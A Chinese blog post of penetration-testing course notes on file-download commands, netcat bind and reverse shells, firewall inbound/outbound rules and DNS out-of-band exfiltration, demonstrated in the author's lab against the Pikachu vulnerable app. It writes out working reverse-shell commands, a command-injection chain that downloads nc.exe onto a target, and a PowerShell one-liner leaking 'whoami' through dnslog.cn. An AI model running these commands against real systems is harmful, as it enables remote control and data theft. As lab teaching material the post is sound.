建站笔记 / 网络通识 · 2024年10月27日 0

5:基础入门-反弹SHELL、不回显带外、正反向连接、防火墙出入站、文件下载

一、文件上传

我们可以使用命令进行文件上传和下载,目的是解决无图形化页面和数据传输的问题,针对只有命令行没有图形化页面的系统,可以通过命令下载和上传文件

Windows:

Windows主要是在cmd或者PowerShell中使用命令行,例如使用命令后下载远程服务器上的jia.txt,并保存为1.txt:

  • cmd:certutil.exe -urlcache -split -f [http://oss.zhangjia.pro:80/ns/virus/jia.txt](http://oss.zhangjia.pro:80/ns/virus/jia.txt) 1.txt
  • PowerShell:powershell.exe -Command "Invoke-WebRequest -Uri [http://oss.zhangjia.pro:80/ns/virus/jia.txt](http://oss.zhangjia.pro:80/ns/virus/jia.txt) -OutFile 1.txt"

更多命令可以直接通过棱角在线工具生成:https://forum.ywhack.com/bountytips.php?download

Linux:

Linux常用wget和curl命令来下载文件,例如使用命令行下载远程服务器上的jia.txt,并保存为1.txt

  • wget:wget [http://oss.zhangjia.pro:80/ns/virus/jia.txt](http://oss.zhangjia.pro:80/ns/virus/jia.txt) -O 1.txt
  • curl:curl [http://oss.zhangjia.pro:80/ns/virus/jia.txt](http://oss.zhangjia.pro:80/ns/virus/jia.txt) -o 1.txt
  • 注意:
    • 两者的功能一样,各自擅长的方向不一样,具体区别:https://www.cnblogs.com/lsdb/p/7171779.html
    • macos上可以直接使用curl命令
    • -o 参数可以将内容写入到1.txt中
    • wget更多参数请查看教程:https://www.cnblogs.com/mike168/p/11355420.html

二、反弹Shell

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。反弹shell的主要应用场景如下

  • 解决数据不回显问题
    • 大部分的渗透测试环境,我们执行相关命令后,是没有数据回显的,无法得知该命令是否执行成功,这时候我们就可以通过反弹Shell来解决这个问题
    • 有的命令执行后,会等待我们输入相关字符以进行下一步的操作,这种命令成为交互式命令,当我们进行渗透测试时,交互式命令也是无法回显的,同样可以通过反弹Shell来解决
  • 解决数据通讯问题
    • 内网的机器可以和外网通讯,但是外网无法和内网的机器通讯,也可以通过反弹shell来解决(在下面第四节中有实例讲解)

NC

NC全称Netcat,Netcat 是一款简单的 Unix 工具,使用 UDP 和 TCP 协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具,安装教程:

  • Windows:
    • 打开nc官网:https://eternallybored.org/misc/netcat/下载NC
    • 解压下载文件,放在指定目录即可
    • 打开nc.exe文件路径设置为Path环境变量
  • Linux:
    • 一般Linux自带,如果没带可以通过yum install -y nc安装

使用教程:https://zhuanlan.zhihu.com/p/397058259

三、正向连接和反向连接

正向连接和反向连接的区别是参照物的不同,我们上面提到的反弹shell 大多数时候属于反向连接,关于正向连接和反向连接很多人容易绕进去,这里直接说概念不容易理解,所以我们实操后再来总结

购买一台Linux云服务器(A),一台Window Server云服务器(B),其实像这种临时使用的服务,我们可以直接购买抢占式服务器,价格非常便宜,先来演示一下正向连接Linux控制Windows

正向连接

1.通过远程连接打开Window服务器的,下载并安装nc,打开nc的安装目录,在此目录下打开cmd命令窗口,通过nc -e cmd -lvp 5566 绑定cmd到本地的5566端口(1~65535任一不被占用的端口都可以,记得安全组和宝塔放行)

  • -l参数意为开启监听
  • -v参数意为显示命令执行过程
  • -p参数指定端口号


2.打开xshell,登录Linux服务器,通过ncat Window服务器ip 5566 来主动连接目标(如果提示you must specify a host ,可以尝试通过https://blog.csdn.net/weixin_35757704/article/details/121456089解决),此时可直接获取window权限

同理,再来演示正向连接Window 控制Linux
1.打开Linux服务器,输入ncat -e /bin/sh -lvp 5566 命令将sh绑定到5566端口

2.打开Window服务器,输入nc Linux服务器ip 5566 主动连接目标

反向连接

我们再来看一下反向连接,Windows控制Linux
1.首先在Window服务器通过nc -lvvp 5566命令等待5566端口连接

2.接下来在Linux服务器通过ncat -e /bin/sh Window服务器ip 5566命令绑定sh到目标5566端口

再来看一下反向连接Linux控制Window
1.首先在Linux服务器通过ncat -lvvp 5566 命令等待5566端口连接

2.接下来在Window服务器通过 nc -e cmd Linux服务器ip 5566 命令绑定cmd到目标5566端口

以Linux控制Window为例,对比正向连接和反向连接的命令可以看到

  • 正向连接
    • 需要先在Window服务器将cmd权限移交到5566端口
    • 然后在Linux服务器通过5566端口来连接
    • 目标机器将权限绑定到某个端口,然后我们去连接
  • 反向链接
    • 需要先在Linux服务器等待5566监听5566端口
    • 然后在Window服务器中将cmd权限移交到5566端口
    • 我们要将权限绑定到某个端口,目标机器将权限移交给我们

简单来说,正向和反向链接我们首先要明确以谁为基准,像上面总结中,以Linux机器为基准,Window机器为目标机器的话,那么正向连接就是你准备好,我来拿,而反向连接就是我准备好,你来给我的一个过程

四、内网和外网

首先我们来明确一下内网和外网的概念:

  • 内网:路由以内的网就是内网
  • 外网:路由以外的网就是外网

举个例子,比如我们家里一个路由器下有10台设备连接,这10个设备的ip地址都是192开头,这10个设备的内网ip都是不同的,这就是内网,而如果我们使用该设备去访问某个网站,那么对外的ip就是外网,这10个设备的外网ip都是一样的,我们可以用家里的电脑和手机分别百度一下ip来验证。

通常内网去访问外网是可以通讯的,比如我们访问谷歌,访问百度,都是没有问题的,因为每个外网的ip地址都是不同,但是外网访问内网是无法通讯的,比如我们无论是用10台设备里的手机还是电脑访问谷歌,对谷歌来说,这些设备的ip都是一致的,外网无法区分究竟是哪一台内网设备访问,只能知道是被哪个ip访问(除非在路由器上做端口转发/映射)

假如现在外网想要控制内网的某一台机器,由于以上原因,我们根本无法访问到这台机器,所以此类情况我们就只能通过反弹shell让内网机器主动来找我们解决这个问题(如果是内网的机器想要控制外网,则又必须用正向代理)

可以通过一个反弹Shell例子来验证一下,准备一台Linux云服务器作为外网电脑,用VMware搭建一台window虚拟机作为内网电脑,以Linux服务器为本地机器,以虚拟机为目标机器,做反向连接

1.首先在Linux服务器上通过nc监听8888端口nc -lvvp 8888

2.接下来本机电脑通过桥接网络开启内网虚拟机,输入nc -e cmd Linux服务器ip 8888,将cmd权限,移交给8888端口

3.此时Linux服务器上成功获取虚拟机的cmd权限,并且只能获取到虚拟机的外网的ip,获取不到内网ip,也就证明了:内网 —> 外网是可以通讯的

接下来我们倒过来,用虚拟机去监听,用Linux去发起,以虚拟机为本地机器,以Linux机器为目标机器试一下反向连接:

1.在虚拟机上开启监听8888端口:

2.接下来在Linux服务器通过ncat -e /bin/sh Window服务器ip 5566命令上去移交权限,虚拟机器却一直没有监听到,也就证明了外网  ≠> 内网是无法通讯的,因为外网无法确认是哪一台内网机器。
如果两台都是内网的话,则需要中间机器,后门的课程会讲到

五、防火墙

学习防火墙的相关知识前,我们先来学习以下知识

管道符

管道符可以控制命令的执行顺序或结果
Windows:

  • |:执行后面的结果
  • ||:如果前面结果为真,则不执行后面的语句,如果前面为假,则执行后面的语句
  • &:如果前面结果为假,则直接执行后面的语句
  • &&:如果前面结果为假,则不执行后面的语句,如果前面为真,则执行后面语句

Linux:

  • |:执行后面的结果
  • ||:如果前面结果为真,则不执行后面的语句,如果前面为假,则执行后面的语句
  • &:如果前面结果为假,则直接执行后面的语句
  • &&:如果前面结果为假,则不执行后面的语句,如果前面为真,则执行后面语句
  • ; :执行完前面的语句再执行后面的

皮卡丘漏洞练习平台

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。pikachu的安装部署非常简单,直接在window server服务器中安装phpstudy后,将pikachu的源码https://github.com/zhuifengshaonianhanlu/pikachu放在网站根目录即可,具体教程可查看https://blog.csdn.net/weixin_51446936/article/details/117789696

我们可以利用皮卡丘来测试一下正向连接和反向连接拿shell
正向连接:
1.以皮卡丘为目标机器,以Linux服务器为攻击机器,打开皮卡丘漏洞平台,点击左侧RCE-执行ping,输入127.0.0.1 | whoami,根据返回结果可以看到是一台window服务器

2.既然是window服务器,需要我们主动安装nc,将nc.exe上传到我们自己的服务器或者OSS中,使用以下命令下载:127.0.0.1 | certutil.exe -urlcache -split -f [https://zhangjia.oss-cn-qingdao.aliyuncs.com/ns/tools/nc.exe](https://zhangjia.oss-cn-qingdao.aliyuncs.com/ns/tools/nc.exe) c:\nc.exe
3.下载好nc后,我们通过127.0.0.1| C:\nc.exe -e cmd -lvvp 5566 命令将cmd权限转交
4.打开Linux服务器,通过ncat Window服务器ip 5566 命令成功拿到shell

反向连接
1.还是以皮卡丘为目标机器,Linux服务器为攻击机器,首先在Linux服务器中通过ncat -lvvp 5566 命令监听5566端口
2.皮卡丘端通过 127.0.0.1 | C:\nc.exe -e cmd Linux服务器ip 5566将cmd权限移交给Linux服务器,此时Linux服务器成功拿到权限

通过上面两个操作我们可以看到此时正向连接和反向连接都是正常的,现在我们来看一下防火墙在安全测试中发挥的作用,防火墙策略协议分为:

  • 入站规则(检测规则多,严格)
  • 出站规则(检测规则少,宽松)

1.打开WindowServer服务器,打开控制面板-系统和安全-Windows防火墙-高级设置-入站规则-新建规则-端口-TCP-特定端口(输入5566)-阻止连接-输入名称(TCP5566)

2.此时入站规则的5566端口就被限制了,我们开启防火墙(不开启规则无效),此时正向连接失败)

3.虽然我的入站规则限制了,但是我们可以使用反向连接,因为出站的规则并没有限制,同理,如果添加出站规则,则反向连接失败,需要使用正向连接

六、带外查询

我们假设这样的一个场景,某个网站存在漏洞,但是数据不回显,我们应该如何操作呢?我们在第三节反弹shell中曾经提过,反弹shell可以解决数据回显的问题,除此之外还可以通过带外查询来解决,我们先来看一下
1.首先关闭皮卡丘平台的数据回显功能,找到vul/rce/rce_ping.php,注释其中的echo

2.此时我们输入任何命令都不会在前台显示,成功模拟了数据不会显的情况

3.访问dnslog.cn,点击Get SubDomain,然后在我们的Linux服务器中ping dnslog给出的域名,dnslog.cn就可以回显,可以通过管道符ping whoami.svtqtt.dnslog.cn(记得加.,否则无法当做域名解析)来将当前用户反显出来

4.虽然Linux服务器成功了,但是我们的皮卡丘是安装在Window服务器上的,没有反引号这个管道符,所以可以通过powershell赋值来实现

powershell #启用powershell
$a=whoami;
$b='.zxpggf.dnslog.cn';  #必须用引号引起来,否则会报错
$a=$a.Replace('','gagag'); #必须替换号,否则无法执行
$d=$a+$b;
ping $d;

5.将上面的代码整合127.0.0.1 | powershell $a=whoami;$b='.zxpggf.dnslog.cn';$a=$a.Replace('','gagag');$d=$a+$b;ping $d,在皮卡丘中的ping中执行,即可拿到数据

参考资料

  • 以上内容整理自小迪安全系列课程

  • https://zhuanlan.zhihu.com/p/138393396

  • https://www.oschina.net/p/netcat?hmsr=aladdin1e1